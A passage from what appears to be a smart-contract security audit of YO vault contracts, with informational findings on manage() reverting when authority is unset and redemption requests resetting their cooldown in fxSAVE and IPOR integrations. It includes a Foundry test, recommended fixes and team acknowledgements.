redeem/withdrawfinalize the request — returning the actual assets and transferring them synchronously, per ERC-4626. Consider ERC-7540 (async vaults) as the canonical standard.Note that this is only one of several deviations. If full ERC-4626 compliance is the goal, the contracts need to be analyzed further.
Yo: Acknowledged.
Cantina: Acknowledged.
When authority equals to address(0), manage() is bricked
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
Alireza Arjmand
Description
Both
manage()variants passrequiresAuth(which short-circuits for the owner) but then unconditionally callauthority().canCall(...)with no zero-address guard (src/YoVault.sol#L110-L112).authoritydefaults toaddress(0)afterinitialize(#L90), andsetAuthorityallows setting it back toaddress(0). A high-level call to the zero address (which has no code) reverts via the compiler's contract-existence check, somanage()and its batch overload revert for all callers, including the owner, wheneverauthorityis zero.This contradicts the owner short-circuit the rest of the auth layer uses:
isAuthorized(src/base/AuthUpgradeable.sol#L53-L57) andsetAuthorityboth guard the call withaddress(auth) != address(0) && ..., butmanage()does not. The owner can recover by callingsetAuthoritywith a valid authority (it has the owner bypass), but until then all strategy management throughmanage()is unavailable, including any emergency recall of funds from adapters.Proof of Concept
// SPDX-License-Identifier: MITpragma solidity 0.8.34; import { Test } from "forge-std/src/Test.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; import { YoVault } from "src/YoVault.sol"; /// Run: forge test --match-path tests/poc/ManageAuthorityZeroPoC.t.sol -vvvcontract ManageAuthorityZeroPoC is Test { YoVault internal vault; address internal owner = makeAddr("owner"); function setUp() public { MockERC20 asset = new MockERC20(); YoVault impl = new YoVault(); bytes memory initData = abi.encodeCall(YoVault.initialize, (IERC20(address(asset)), owner, "yoVault", "yoV")); vault = YoVault(payable(address(new ERC1967Proxy(address(impl), initData)))); } function test_manage_revertsForOwner_whenAuthorityZero() public { // authority defaults to address(0) after initialize() assertEq(address(vault.authority()), address(0)); // manage() reverts for the owner: it calls IAuthority(address(0)).canCall(...) unconditionally. vm.prank(owner); vm.expectRevert(); vault.manage(makeAddr("target"), hex"12345678", 0); }} contract MockERC20 is ERC20 { constructor() ERC20("Mock", "MOCK") { }}Recommendation
Mirror the owner short-circuit inside
manage()(and the batch variant):require( msg.sender == owner() || (address(authority()) != address(0) && authority().canCall(msg.sender, target, functionSig)), Errors.TargetMethodNotAuthorized(target, functionSig));Optionally also reject
address(0)insetAuthorityso the vault cannot be left in this state unintentionally.Yo: Acknowledged. Vaults are meticulously configured and in no scenario the role authority will be set to address(0). Even if that's the case, there's no impact on user functionality (deposit/redeem).
Cantina: Acknowledged.
Re-requesting a redemption resets the previous request's timeline (fxSAVE and IPOR)
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
Alireza Arjmand
Description
Both async integrations reset a pending redemption's timeline if a new request is made before the old one is claimed, and the YO adapters do not guard against or surface this.
- fxSAVE:
YoFxSaveAdapter.requestRedeem(src/adapters/fxsave/YoFxSaveAdapter.sol#L83-L94) routes each call through the vault's CREATE2 redeemer intoFxUSDBasePool.requestRedeem(AladdinDAO/fx-protocol-contracts), which doesrequest.amount += shares; request.unlockAt = block.timestamp + redeemCoolDownPeriod;. The amount accumulates but the cooldown is reset on every call, so a small additional request delays the entire accumulated position's unlock by a fresh cooldown. - IPOR:
requestSharesis driven viamanage(msg.sender = the YO vault) and is keyed one-slot-per-account inWithdrawManager(IPOR-Labs/ipor-fusion); a second call overwrites the stored shares (updateWithdrawRequest(_msgSender(), shares - fee)) and the claim window is recomputed from the new request. A second request therefore replaces the prior tracked shares (it does not add) and resets the window, so any shares from the first request not covered by the second are dropped from the tracked request and must be requested again.
Recommendation
Before issuing a new request, claim or fully account for any existing one. For IPOR, read the existing request (
WithdrawManager.requestInfo) and avoid overwriting a live request; for fxSAVE, avoid topping up a position that is close to unlock. Surface the existing-request state at the adapter level or document the reset-on-re-request behavior for both integrations in the operations runbook.Yo: Acknowledged.
Cantina: Acknowledged.